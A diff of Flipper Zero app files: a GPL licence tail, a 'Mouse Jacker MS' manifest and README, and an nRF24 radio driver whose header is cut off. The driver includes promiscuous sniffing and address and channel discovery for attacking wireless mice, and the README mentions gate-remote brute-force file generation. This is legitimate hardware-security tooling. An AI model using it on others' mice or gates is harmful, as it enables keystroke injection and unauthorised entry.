+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 6 - 0
non_catalog_apps/mousejacker_ms/NRF24_Mouse_Jacker_icons.h

@@ -0,0 +1,6 @@
+#pragma once
+
+#include <gui/icon.h>
+
+extern const Icon I_badusb_10px;
+extern const Icon I_sub1_10px;

+ 14 - 0
non_catalog_apps/mousejacker_ms/README.md

@@ -0,0 +1,14 @@
+# flipperzero-tools
+Various tools for Flipper Zero
+
+## rawsub_decoder
+See README inside directory.
+
+## generator_433_868.py
+Generates .sub for given 12bits keys with CAME and NICE protocols.
+It's an adaptation from UberGuidoZ's `CAME_brute_force` and there is also code re-use from tobiabocchi's `flipperzero-bruteforce`. URLs of those code bases are in header of the python script.
+
+## faps
+- bt_hid_kodi: Application Bluetooth remote Keynote for Kodi (original app + feature: long press on OK to switch between "Space" and "Return" (useful for Kodi to navigate the menus))
+- nrfsniff_ms & mousejacker_ms: Applications NRF Sniff & Mousejacker for Microsoft mouse (hardcoded)
+

+ 24 - 0
non_catalog_apps/mousejacker_ms/application.fam

@@ -0,0 +1,24 @@
+App(
+    appid="nrf24_mouse_jacker_ms",
+    name="[NRF24] Mouse Jacker MS",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="mousejacker_app",
+    cdefines=["APP_MOUSEJACKER_MS"],
+    requires=[
+        "gui",
+        "dialogs",
+    ],
+    stack_size=2 * 1024,
+    order=60,
+    fap_icon="mouse_10px.png",
+    fap_category="GPIO",
+    fap_icon_assets="images",
+    fap_private_libs=[
+        Lib(
+            name="nrf24",
+            sources=[
+                "nrf24.c",
+            ],
+        ),
+    ],
+)

BIN
non_catalog_apps/mousejacker_ms/images/badusb_10px.png


BIN
non_catalog_apps/mousejacker_ms/images/sub1_10px.png


+ 520 - 0
non_catalog_apps/mousejacker_ms/lib/nrf24/nrf24.c

@@ -0,0 +1,520 @@
+#include "nrf24.h"
+#include <furi.h>
+#include <furi_hal.h>
+#include <furi_hal_resources.h>
+#include <assert.h>
+#include <string.h>
+
+void nrf24_init() {
+    furi_hal_spi_bus_handle_init(nrf24_HANDLE);
+    furi_hal_spi_acquire(nrf24_HANDLE);
+    furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+}
+
+void nrf24_deinit() {
+    furi_hal_spi_release(nrf24_HANDLE);
+    furi_hal_spi_bus_handle_deinit(nrf24_HANDLE);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
+}
+
+void nrf24_spi_trx(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* tx,
+    uint8_t* rx,
+    uint8_t size,
+    uint32_t timeout) {
+    UNUSED(timeout);
+    furi_hal_gpio_write(handle->cs, false);
+    furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT);
+    furi_hal_gpio_write(handle->cs, true);
+}
+
+uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) {
+    uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data};
+    uint8_t rx[2] = {0};
+    nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t
+    nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(rx, 0, size + 1);
+    tx[0] = W_REGISTER | (REGISTER_MASK & reg);
+    memcpy(&tx[1], data, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) {
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(rx, 0, size + 1);
+    tx[0] = R_REGISTER | (REGISTER_MASK & reg);
+    memset(&tx[1], 0, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    memcpy(data, &rx[1], size);
+    return rx[0];
+}
+
+uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) {
+    uint8_t tx[] = {FLUSH_RX};
+    uint8_t rx[] = {0};
+    nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) {
+    uint8_t tx[] = {FLUSH_TX};
+    uint8_t rx[] = {0};
+    nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT);
+    return rx[0];
+}
+
+uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) {
+    uint8_t maclen;
+    nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1);
+    maclen &= 3;
+    return maclen + 2;
+}
+
+uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) {
+    assert(maclen > 1 && maclen < 6);
+    uint8_t status = 0;
+    status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2);
+    return status;
+}
+
+uint8_t nrf24_status(FuriHalSpiBusHandle* handle) {
+    uint8_t status;
+    uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)};
+    nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT);
+    return status;
+}
+
+uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) {
+    uint8_t setup = 0;
+    uint32_t rate = 0;
+    nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1);
+    setup &= 0x28;
+    if(setup == 0x20)
+        rate = 250000; // 250kbps
+    else if(setup == 0x08)
+        rate = 2000000; // 2Mbps
+    else if(setup == 0x00)
+        rate = 1000000; // 1Mbps
+
+    return rate;
+}
+
+uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) {
+    uint8_t r6 = 0;
+    uint8_t status = 0;
+    if(!rate) rate = 2000000;
+
+    nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register
+    r6 = r6 & (~0x28); // Clear rate fields.
+    if(rate == 2000000)
+        r6 = r6 | 0x08;
+    else if(rate == 1000000)
+        r6 = r6;
+    else if(rate == 250000)
+        r6 = r6 | 0x20;
+
+    status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate.
+    return status;
+}
+
+uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) {
+    uint8_t channel = 0;
+    nrf24_read_reg(handle, REG_RF_CH, &channel, 1);
+    return channel;
+}
+
+uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) {
+    uint8_t status;
+    status = nrf24_write_reg(handle, REG_RF_CH, chan);
+    return status;
+}
+
+uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
+    uint8_t size = 0;
+    uint8_t status = 0;
+    size = nrf24_get_maclen(handle);
+    status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size);
+    return status;
+}
+
+uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
+    uint8_t status = 0;
+    uint8_t clearmac[] = {0, 0, 0, 0, 0};
+    nrf24_set_maclen(handle, size);
+    nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5);
+    status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size);
+    return status;
+}
+
+uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) {
+    uint8_t size = 0;
+    uint8_t status = 0;
+    size = nrf24_get_maclen(handle);
+    status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size);
+    return status;
+}
+
+uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) {
+    uint8_t status = 0;
+    uint8_t clearmac[] = {0, 0, 0, 0, 0};
+    nrf24_set_maclen(handle, size);
+    nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5);
+    status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size);
+    return status;
+}
+
+uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) {
+    uint8_t len = 0;
+    nrf24_read_reg(handle, RX_PW_P0, &len, 1);
+    return len;
+}
+
+uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) {
+    uint8_t status = 0;
+    status = nrf24_write_reg(handle, RX_PW_P0, len);
+    return status;
+}
+
+uint8_t
+    nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) {
+    uint8_t status = 0;
+    uint8_t size = 0;
+    uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0};
+    uint8_t rx_pl_wid[] = {0, 0};
+    uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command
+    uint8_t tmp_packet[33] = {0};
+
+    status = nrf24_status(handle);
+
+    if(status & 0x40) {
+        if(full)
+            size = nrf24_get_packetlen(handle);
+        else {
+            nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT);
+            size = rx_pl_wid[1];
+        }
+
+        tx_cmd[0] = R_RX_PAYLOAD;
+        nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT);
+        nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
+        memcpy(packet, &tmp_packet[1], size);
+    } else if(status == 0) {
+        nrf24_flush_rx(handle);
+        nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit.
+    }
+
+    *packetsize = size;
+    return status;
+}
+
+uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) {
+    uint8_t status = 0;
+    uint8_t tx[size + 1];
+    uint8_t rx[size + 1];
+    memset(tx, 0, size + 1);
+    memset(rx, 0, size + 1);
+
+    if(!ack)
+        tx[0] = W_TX_PAYLOAD_NOACK;
+    else
+        tx[0] = W_TX_PAYLOAD;
+
+    memcpy(&tx[1], payload, size);
+    nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT);
+    nrf24_set_tx_mode(handle);
+
+    while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle);
+
+    if(status & MAX_RT) nrf24_flush_tx(handle);
+
+    nrf24_set_idle(handle);
+    nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT);
+    return status & TX_DS;
+}
+
+uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg = cfg | 2;
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    furi_delay_ms(5000);
+    return status;
+}
+
+uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg &= 0xfc; // clear bottom two bits to power down the radio
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    //nr204_write_reg(handle, REG_EN_RXADDR, 0x0);
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    return status;
+}
+
+uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    //status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg |= 0x03; // PWR_UP, and PRIM_RX
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    //nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(2000);
+    return status;
+}
+
+uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) {
+    uint8_t status = 0;
+    uint8_t cfg = 0;
+    furi_hal_gpio_write(nrf24_CE_PIN, false);
+    nrf24_write_reg(handle, REG_STATUS, 0x30);
+    //status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP
+    nrf24_read_reg(handle, REG_CONFIG, &cfg, 1);
+    cfg &= 0xfe; // disable PRIM_RX
+    cfg |= 0x02; // PWR_UP
+    status = nrf24_write_reg(handle, REG_CONFIG, cfg);
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(2);
+    return status;
+}
+
+void nrf24_configure(
+    FuriHalSpiBusHandle* handle,
+    uint8_t rate,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t channel,
+    bool noack,
+    bool disable_aa) {
+    assert(channel <= 125);
+    assert(rate == 1 || rate == 2);
+    if(rate == 2)
+        rate = 8; // 2Mbps
+    else
+        rate = 0; // 1Mbps
+
+    nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
+    nrf24_set_idle(handle);
+    nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
+    if(disable_aa)
+        nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
+    else
+        nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst
+
+    nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes
+    if(noack)
+        nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
+    else {
+        nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC
+        nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack
+        nrf24_write_reg(
+            handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay
+    }
+
+    nrf24_set_idle(handle);
+    nrf24_flush_rx(handle);
+    nrf24_flush_tx(handle);
+
+    if(maclen) nrf24_set_maclen(handle, maclen);
+    if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen);
+    if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen);
+
+    nrf24_write_reg(handle, REG_RF_CH, channel);
+    nrf24_write_reg(handle, REG_RF_SETUP, rate);
+    furi_delay_ms(200);
+}
+
+void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) {
+    //uint8_t preamble[] = {0x55, 0x00}; // little endian
+    uint8_t preamble[] = {0xAA, 0x00}; // little endian
+    //uint8_t preamble[] = {0x00, 0x55}; // little endian
+    //uint8_t preamble[] = {0x00, 0xAA}; // little endian
+    nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF
+    nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts
+    nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst
+    nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst
+    nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack
+    nrf24_set_maclen(handle, 2); // shortest address
+    nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything
+    nrf24_set_packetlen(handle, 32); // set max packet length
+    nrf24_set_idle(handle);
+    nrf24_flush_rx(handle);
+    nrf24_flush_tx(handle);
+    nrf24_write_reg(handle, REG_RF_CH, channel);
+    nrf24_write_reg(handle, REG_RF_SETUP, rate);
+
+    // prime for RX, no checksum
+    nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC
+    furi_hal_gpio_write(nrf24_CE_PIN, true);
+    furi_delay_ms(100);
+}
+
+void hexlify(uint8_t* in, uint8_t size, char* out) {
+    memset(out, 0, size * 2);
+    for(int i = 0; i < size; i++)
+        snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
+}
+
+uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) {
+    uint64_t ret = 0;
+    for(int i = 0; i < size; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((size - 1 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 8; i++) {
+        if(bigendian)
+            out[i] = (val >> ((7 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) {
+    uint32_t ret = 0;
+    for(int i = 0; i < 4; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((3 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 4; i++) {
+        if(bigendian)
+            out[i] = (val >> ((3 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) {
+    uint16_t ret = 0;
+    for(int i = 0; i < 2; i++)
+        if(bigendian)
+            ret |= bytes[i] << ((1 - i) * 8);
+        else
+            ret |= bytes[i] << (i * 8);
+
+    return ret;
+}
+
+void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) {
+    for(int i = 0; i < 2; i++) {
+        if(bigendian)
+            out[i] = (val >> ((1 - i) * 8)) & 0xff;
+        else
+            out[i] = (val >> (i * 8)) & 0xff;
+    }
+}
+
+// handle iffyness with preamble processing sometimes being a bit (literally) off
+void alt_address_old(uint8_t* packet, uint8_t* altaddr) {
+    uint8_t macmess_hi_b[4];
+    uint8_t macmess_lo_b[2];
+    uint32_t macmess_hi;
+    uint16_t macmess_lo;
+    uint8_t preserved;
+
+    // get first 6 bytes into 32-bit and 16-bit variables
+    memcpy(macmess_hi_b, packet, 4);
+    memcpy(macmess_lo_b, packet + 4, 2);
+
+    macmess_hi = bytes_to_int32(macmess_hi_b, true);
+
+    //preserve least 7 bits from hi that will be shifted down to lo
+    preserved = macmess_hi & 0x7f;
+    macmess_hi >>= 7;
+
+    macmess_lo = bytes_to_int16(macmess_lo_b, true);
+    macmess_lo >>= 7;
+    macmess_lo = (preserved << 9) | macmess_lo;
+    int32_to_bytes(macmess_hi, macmess_hi_b, true);
+    int16_to_bytes(macmess_lo, macmess_lo_b, true);
+    memcpy(altaddr, &macmess_hi_b[1], 3);
+    memcpy(altaddr + 3, macmess_lo_b, 2);
+}
+
+bool validate_address(uint8_t* addr) {
+    uint8_t bad[][3] = {{0x55, 0x55}, {0xAA, 0xAA}, {0x00, 0x00}, {0xFF, 0xFF}};
+    for(int i = 0; i < 4; i++)
+        for(int j = 0; j < 2; j++)
+            if(!memcmp(addr + j * 2, bad[i], 2)) return false;
+
+    return true;
+}
+
+bool nrf24_sniff_address(FuriHalSpiBusHandle* handle, uint8_t maclen, uint8_t* address) {
+    bool found = false;
+    uint8_t packet[32] = {0};
+    uint8_t packetsize;
+    //char printit[65];
+    uint8_t status = 0;
+    status = nrf24_rxpacket(handle, packet, &packetsize, true);
+    if(status & 0x40) {
+        if(validate_address(packet)) {
+            for(int i = 0; i < maclen; i++) address[i] = packet[maclen - 1 - i];
+
+            /*
+            alt_address(packet, packet);
+
+            for(i = 0; i < maclen; i++)
+                address[i + 5] = packet[maclen - 1 - i];
+            */
+
+            //memcpy(address, packet, maclen);
+            //hexlify(packet, packetsize, printit);
+            found = true;
+        }
+    }
+
+    return found;
+}
+
+uint8_t nrf24_find_channel(
+    FuriHalSpiBusHandle* handle,
+    uint8_t* srcmac,
+    uint8_t* dstmac,
+    uint8_t maclen,
+    uint8_t rate,
+    uint8_t min_channel,
+    uint8_t max_channel,
+    bool autoinit) {
+    uint8_t ping_packet[] = {0x0f, 0x0f, 0x0f, 0x0f}; // this can be anything, we just need an ack
+    uint8_t ch = max_channel + 1; // means fail
+    nrf24_configure(handle, rate, srcmac, dstmac, maclen, 2, false, false);
+    for(ch = min_channel; ch <= max_channel + 1; ch++) {
+        nrf24_write_reg(handle, REG_RF_CH, ch);
+        if(nrf24_txpacket(handle, ping_packet, 4, true)) break;
+    }
+
+    if(autoinit) {
+        FURI_LOG_D("nrf24", "initializing radio for channel %d", ch);
+        nrf24_configure(handle, rate, srcmac, dstmac, maclen, ch, false, false);
+        return ch;
+    }
+
+    return ch;
+}

+ 366 - 0
non_catalog_apps/mousejacker_ms/lib/nrf24/nrf24.h

@@ -0,0 +1,366 @@
+#pragma once
+#include <stdbool.h>
+#include <stdint.h>
+#include <furi_hal_spi.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define R_REGISTER 0x00
+#define W_REGISTER 0x20
+#define REGISTER_MASK 0x1F
+#define ACTIVATE 0x50
+#define R_RX_PL_WID 0x60
+#define R_RX_PAYLOAD 0x61
+#define W_TX_PAYLOAD 0xA0
+#define W_TX_PAYLOAD_NOACK 0xB0
+#define W_ACK_PAYLOAD 0xA8
+#define FLUSH_TX 0xE1
+#define FLUSH_RX 0xE2
+#define REUSE_TX_PL 0xE3
+#define RF24_NOP 0xFF
+
+#define REG_CONFIG 0x00
+#define REG_EN_AA 0x01
+#define REG_EN_RXADDR 0x02
+#define REG_SETUP_AW 0x03
+#define REG_SETUP_RETR 0x04
+#define REG_DYNPD 0x1C
+#define REG_FEATURE 0x1D
+#define REG_RF_SETUP 0x06
+#define REG_STATUS 0x07
+#define REG_RX_ADDR_P0 0x0A
+#define REG_RF_CH 0x05
+#define REG_TX_ADDR 0x10
+
+#define RX_PW_P0 0x11
+#define TX_DS 0x20
+#define MAX_RT 0x10
+
+#define nrf24_TIMEOUT 500
+#define nrf24_CE_PIN &gpio_ext_pb2
+#define nrf24_HANDLE &furi_hal_spi_bus_handle_external
+
+/* Low level API */
+
+/** Write device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param      data    - data to write
+ *
+ * @return     device status
+ */
+uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data);
+
+/** Write buffer to device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param      data    - data to write
+ * @param      size    - size of data to write
+ *
+ * @return     device status
+ */
+uint8_t nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
+
+/** Read device register
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      reg     - register
+ * @param[out] data    - pointer to data
+ *
+ * @return     device status
+ */
+uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size);
+
+/** Power up the radio for operation
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle);
+
+/** Power down the radio
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle);
+
+/** Sets the radio to RX mode
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle);
+
+/** Sets the radio to TX mode
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle);
+
+/*=============================================================================================================*/
+
+/* High level API */
+
+/** Must call this before using any other nrf24 API
+ * 
+ */
+void nrf24_init();
+
+/** Must call this when we end using nrf24 device
+ * 
+ */
+void nrf24_deinit();
+
+/** Send flush rx command
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ *
+ * @return     device status
+ */
+uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle);
+
+/** Send flush tx command
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ *
+ * @return     device status
+ */
+uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle);
+
+/** Gets the RX packet length in data pipe 0
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     packet length in data pipe 0
+ */
+uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle);
+
+/** Sets the RX packet length in data pipe 0
+ * 
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * @param      len - length to set
+ * 
+ * @return     device status
+ */
+uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len);
+
+/** Gets configured length of MAC address
+ *
+ * @param      handle  - pointer to FuriHalSpiHandle
+ * 
+ * @return     MAC address length
+ */
+uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle);
+
